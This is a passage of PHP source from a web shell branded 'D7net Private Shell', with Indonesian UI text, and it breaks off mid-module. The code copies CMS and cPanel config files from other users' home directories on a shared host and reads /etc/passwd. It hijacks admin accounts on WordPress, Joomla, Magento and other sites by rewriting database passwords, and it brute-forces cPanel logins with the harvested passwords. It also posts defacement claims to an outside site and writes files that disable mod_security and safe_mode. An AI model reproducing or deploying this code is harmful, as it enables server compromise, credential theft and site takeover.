                    "/home2/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
                    "/home2/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
                    "/home2/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
                    "/home2/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
                    "/home2/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
                    "/home2/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
                    "/home2/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
                    "/home2/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
                    "/home2/$user_os/public_html/press/configuration.php" => "JoomlaPress",
                    "/home2/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
                    "/home2/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
                    "/home2/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
                    "/home2/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
                    "/home2/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
                    "/home2/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",                 
                    "/home2/$user_os/public_html/wp-config.php" => "WordPress",
                    "/home2/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
                    "/home2/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
                    "/home2/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",        
                    "/home2/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
                    "/home2/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
                    "/home2/$user_os/public_html/home/wp-config.php" => "WordPressHome",
                    "/home2/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
                    "/home2/$user_os/public_html/New/wp-config.php" => "WordPressNew",
                    "/home2/$user_os/public_html/new/wp-config.php" => "WordPressNew",
                    "/home2/$user_os/public_html/News/wp-config.php" => "WordPressNews",
                    "/home2/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
                    "/home2/$user_os/public_html/news/wp-config.php" => "WordPressNews",
                    "/home2/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
                    "/home2/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
                    "/home2/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
                    "/home2/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
                    "/home2/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
                    "/home2/$user_os/public_html/main/wp-config.php" => "WordPressMain",
                    "/home2/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
                    "/home2/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
                    "/home2/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
                    "/home2/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
                    "/home2/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
                    "/home2/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
                    "/home2/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
                    "/home2/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
                    "/home2/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
                    "/home2/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
                    "/home2/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
                    "/home2/$user_os/public_html/press/wp-config.php" => "WordPressPress",
                    "/home2/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
                    "/home2/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
                    "/home2/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
                    "/home2/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
                    "/home2/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
                    "/home2/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
                    "/home3/$user_os/.my.cnf" => "cpanel",
                    "/home3/$user_os/.accesshash" => "WHM-accesshash",
                    "/home3/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
                    "/home3/$user_os/public_html/config/koneksi.php" => "Lokomedia",
                    "/home3/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
                    "/home3/$user_os/public_html/clientarea/configuration.php" => "WHMCS",                
                    "/home3/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
                    "/home3/$user_os/public_html/forum/config.php" => "phpBB",
                    "/home3/$user_os/public_html/sites/default/settings.php" => "Drupal",
                    "/home3/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
                    "/home3/$user_os/public_html/app/etc/local.xml" => "Magento",
                    "/home3/$user_os/public_html/admin/config.php" => "OpenCart",
                    "/home3/$user_os/public_html/slconfig.php" => "Sitelok",
                    "/home3/$user_os/public_html/application/config/database.php" => "Ellislab",                  
                    "/home3/$user_os/public_html/whm/configuration.php" => "WHMCS",
                    "/home3/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
                    "/home3/$user_os/public_html/central/configuration.php" => "WHM Central",
                    "/home3/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
                    "/home3/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
                    "/home3/$user_os/public_html/submitticket.php" => "WHMCS",                                        
                    "/home3/$user_os/public_html/configuration.php" => "Joomla",                  
                    "/home3/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
                    "/home3/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
                    "/home3/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
                    "/home3/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
                    "/home3/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
                    "/home3/$user_os/public_html/home/configuration.php" => "JoomlaHome",
                    "/home3/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
                    "/home3/$user_os/public_html/New/configuration.php" => "JoomlaNew",
                    "/home3/$user_os/public_html/new/configuration.php" => "JoomlaNew",
                    "/home3/$user_os/public_html/News/configuration.php" => "JoomlaNews",
                    "/home3/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
                    "/home3/$user_os/public_html/news/configuration.php" => "JoomlaNews",
                    "/home3/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
                    "/home3/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
                    "/home3/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
                    "/home3/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
                    "/home3/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
                    "/home3/$user_os/public_html/main/configuration.php" => "JoomlaMain",
                    "/home3/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
                    "/home3/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
                    "/home3/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
                    "/home3/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
                    "/home3/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
                    "/home3/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
                    "/home3/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
                    "/home3/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
                    "/home3/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
                    "/home3/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
                    "/home3/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
                    "/home3/$user_os/public_html/press/configuration.php" => "JoomlaPress",
                    "/home3/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
                    "/home3/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
                    "/home3/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
                    "/home3/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
                    "/home3/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
                    "/home3/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",                 
                    "/home3/$user_os/public_html/wp-config.php" => "WordPress",
                    "/home3/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
                    "/home3/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
                    "/home3/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",        
                    "/home3/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
                    "/home3/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
                    "/home3/$user_os/public_html/home/wp-config.php" => "WordPressHome",
                    "/home3/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
                    "/home3/$user_os/public_html/New/wp-config.php" => "WordPressNew",
                    "/home3/$user_os/public_html/new/wp-config.php" => "WordPressNew",
                    "/home3/$user_os/public_html/News/wp-config.php" => "WordPressNews",
                    "/home3/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
                    "/home3/$user_os/public_html/news/wp-config.php" => "WordPressNews",
                    "/home3/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
                    "/home3/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
                    "/home3/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
                    "/home3/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
                    "/home3/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
                    "/home3/$user_os/public_html/main/wp-config.php" => "WordPressMain",
                    "/home3/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
                    "/home3/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
                    "/home3/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
                    "/home3/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
                    "/home3/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
                    "/home3/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
                    "/home3/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
                    "/home3/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
                    "/home3/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
                    "/home3/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
                    "/home3/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
                    "/home3/$user_os/public_html/press/wp-config.php" => "WordPressPress",
                    "/home3/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
                    "/home3/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
                    "/home3/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
                    "/home3/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
                    "/home3/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
                    "/home3/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal"                   
                        );  
                    foreach($grab_config as $config => $nama_config) {
                        $ambil_config = file_get_contents($config);
                        if($ambil_config == '') {
                        } else {
                            $file_config = fopen("d7net_config/$user_os-$nama_config.txt","w");
                            fputs($file_config,$ambil_config);
                        }
                    }
                }       
            }
            echo "<center><a href='?dir=$dir/d7net_config'><font color=white>Selese Cok!</font></a></center>";
            }else{
                
        echo "<div class='mybox'><form method=\"post\" action=\"\"><center><h1>Config Grabber</h1><hr color='white'><br>etc/passw ( Error ? <a href='?dir=$dir&D7net=passwbypass'>Bypass di sini!</a> )<br><br><textarea name=\"passwd\" class='area' style='border-color=white;' rows='15' cols='60'>
";
        echo file_get_contents('/etc/passwd'); 
        echo "</textarea><br><br><input type=\"submit\"  style='border-color:white; text-align:center' class='kotak' value=\"SIKAT!\"></td></tr></center></div>
";
        }
} elseif($_GET['D7net'] == 'lompat_indah') {
    $i = 0;
    echo "<pre><div class='margin: 5px auto; mybox'><h1>Loncat Indah +Jumping Server+</h1>";
    $etc = fopen("/etc/passwd", "r");
    while($passwd = fgets($etc)) {
        if($passwd == '' || !$etc) {
            echo "<font color=red>Can't read /etc/passwd</font>";
        } else {
            preg_match_all('/(.*?):x:/', $passwd, $user_lompat_indah);
            foreach($user_lompat_indah[1] as $user_d7net_jump) {
                $user_lompat_indah_dir = "/home/$user_d7net_jump/public_html";
                if(is_readable($user_lompat_indah_dir)) {
                    $i++;
                    $jrw = "[<font color=white>R</font>] <a href='?dir=$user_lompat_indah_dir'><font color=white>$user_lompat_indah_dir</font></a><br>";
                    if(is_writable($user_lompat_indah_dir)) {
                        $jrw = "[<font color=white>RW</font>] <a href='?dir=$user_lompat_indah_dir'><font color=white>$user_lompat_indah_dir</font></a><br>";
                    }
                    echo $jrw;
                    $domain_jump = file_get_contents("/etc/named.conf");    
                    if($domain_jump == '') {
                        echo " => ( <font color=red>gabisa ambil nama domain nya !!</font> )<br>";
                    } else {
                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                        foreach($domains_jump[1] as $dj) {
                            $user_lompat_indah_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                            $user_lompat_indah_url = $user_lompat_indah_url['name'];
                            if($user_lompat_indah_url == $user_d7net_jump) {
                                echo " => ( <u>$dj</u> )<br>";
                                break;
                            }
                        }
                    }
                }
            }
        }
    }
    if($i == 0) { 
    } else {
        echo "<br>Total ada ".$i." Bangsat di ".gethostbyname($_SERVER['HTTP_HOST'])."";
    }
    echo "</div></pre>";
} elseif($_GET['D7net'] == 'auto_edit_user') {
    if($_POST['sikat']) {
        if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "username atau password harus lebih dari 6 karakter";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=white>sukses edit user cok, sana login pake user & pass baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=white>sukses edit user cok, sana login pake user & pass baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=white>sukses edit user cok, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=white>sukses edit user cok, sana login pake user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=white>sukses edit user CoK, sana login pake user & pass baru.</font><br><br>";
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<div style='text-align:left' class='mybox'>
        <h1>Auto Edit User Config</h1><hr color='white'>
        <form method='post'>
        DIR Config:&nbsp&nbsp&nbsp&nbsp&nbsp
        <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='config_dir' value='$dir'><br><br>
        Set User & Pass: 
        <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='user_baru' value='D7net' placeholder='user_baru'><br>
        &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp
        <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='pass_baru' value='D7net' placeholder='pass_baru'><br><br>
        &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp
        <input type='submit' style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' name='sikat' class='kotak' value='SIKAT!'>
        </form>
        <span>
        NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/d7net_config )</span></div>
        ";
    }
}elseif($_GET['D7net'] == 'defid') {
    echo "<div class='mybox' style='text-align:left'><h1>defacer id Mass Poster</h1><hr color='white'>
        <form method='post'>
        Defacer
        <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='hekel' placeholder='d7net'><br><br>
        Team 
        &nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='tim' placeholder='D7net'><br><br>
        Domains: <br>
        <textarea class='mybox' style='border-color:#292929' rows='10' name='sites'></textarea><br>
        <input type='submit' style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' name='sikat' value='Submit' class='kotak'>
        </form></div>";
$site = explode("\
\
", $_POST['sites']);
$go = $_POST['sikat'];
$hekel = $_POST['hekel'];
$tim = $_POST['tim'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url = "https://www.jonesguide/notify.html";
$data_to_post = array();
$data_to_post['attacker'] = "$hekel";
$data_to_post['team'] = "$tim";
$data_to_post['poc'] = 'SQL Injection';
$data_to_post['url'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL, $form_url);
curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_REFERER, 'https://jonesguide.com/notify.html');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
}
 elseif($_GET['D7net'] == 'cpanel') {
    if($_POST['crack']) {
        $usercp = explode("\
\
", $_POST['user_cp']);
        $passcp = explode("\
\
", $_POST['pass_cp']);
        $i = 0;
        foreach($usercp as $ucp) {
            foreach($passcp as $pcp) {
                if(@mysql_connect('localhost', $ucp, $pcp)) {
                    if($_SESSION[$ucp] && $_SESSION[$pcp]) {
                    } else {
                        $_SESSION[$ucp] = "1";
                        $_SESSION[$pcp] = "1";
                        $i++;
                        echo "username (<font color=white>$ucp</font>) password (<font color=white>$pcp</font>)<br>";
                    }
                }
            }
        }
        if($i == 0) {
        } else {
            echo "<br>Sukses nyolong ".$i." Cpanel by <font color=white>D7net Private Shell</font>";
        }
    } else {
        echo "<center class='mybox'><h1>Cpanel Cracker</h1><hr color='white'>
        <form method='post'>
        USER: <br>
        <textarea style='width: 450px; height: 150px; border-color=white' name='user_cp'>";
        $_usercp = fopen("/etc/passwd","r");
        while($getu = fgets($_usercp)) {
            if($getu == '' || !$_usercp) {
                echo "<font color=red>Can't read /etc/passwd</font>";
            } else {
                preg_match_all("/(.*?):x:/", $getu, $u);
                foreach($u[1] as $user_cp) {
                        if(is_dir("/home/$user_cp/public_html")) {
                            echo "$user_cp\
";
                    }
                }
            }
        }
        echo "</textarea><br>
        PASS: <br>
        <textarea style='width: 450px; height: 200px; border-color=white' name='pass_cp'>";
        function cp_pass($dir) {
            $pass = "";
            $dira = scandir($dir);
            foreach($dira as $dirb) {
                if(!is_file("$dir/$dirb")) continue;
                $ambil = file_get_contents("$dir/$dirb");
                if(preg_match("/WordPress/", $ambil)) {
                    $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\
";
                } elseif(preg_match("/JConfig|joomla/", $ambil)) {
                    $pass .= ambilkata($ambil,"password = '","'")."\
";
                } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
                    $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\
";
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
                    $pass .= ambilkata($ambil,'password = "','"')."\
";
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
                    $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\
";
                } elseif(preg_match("/client/", $ambil)) {
                    preg_match("/password=(.*)/", $ambil, $pass1);
                    if(preg_match('/"/', $pass1[1])) {
                        $pass1[1] = str_replace('"', "", $pass1[1]);
                        $pass .= $pass1[1]."\
";
                    }
                } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
                    $pass .= ambilkata($ambil,"db_password = '","'")."\
";
                }
            }
            echo $pass;
        }
        $cp_pass = cp_pass($dir);
        echo $cp_pass;
        echo "</textarea><br>
        <input type='submit' name='crack' style='width: 450px; border-color=white' class='kotak' value='Crack'>
        </form>
        <span>NB: CPanel Crack ini udah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/d7net_config )</span><br></center>";
    }
} 
elseif($_GET['D7net'] == 'sec') {
echo '<h1>Safe Mode</h1>';
    echo '<div class="content">';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
    echo '<a href=? onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=? onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=? onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center><br>';
    if(!empty($_POST['p2']) && isset($_POST['p2']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>');
        fclose($fil);
   }
   if(!empty($_POST['p1'])&& isset($_POST['p1']))
   {
        $fil=fopen($GLOBALS['cwd']."php.ini","w");
        fwrite($fil,'safe_mode=OFF
            disable_functions=NONE');
        fclose($fil);
    }
    if(!empty($_POST['p3']) && isset($_POST['p3']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl');
        fclose($fil); 
    }
    echo "</div>";
    echo '</div>';
}
 elseif($_GET['D7net'] == 'loghunter')
    { 
echo '<center class="mybox"><h1>Log Hunter</h1>';    
echo "<hr color='white'>";
echo "<form action=\"\" method=\"post\">
"; 
?><br>Dir :<input type="text" value="<?=getcwd();?>" style='border-color=white;' name="shc_dir"><?php
echo "<input type=\"submit\"  style='border-color=white;' name=\"submit\" class=\"kotak\" value=\"Scan!\"/>
"; 
echo "</form>
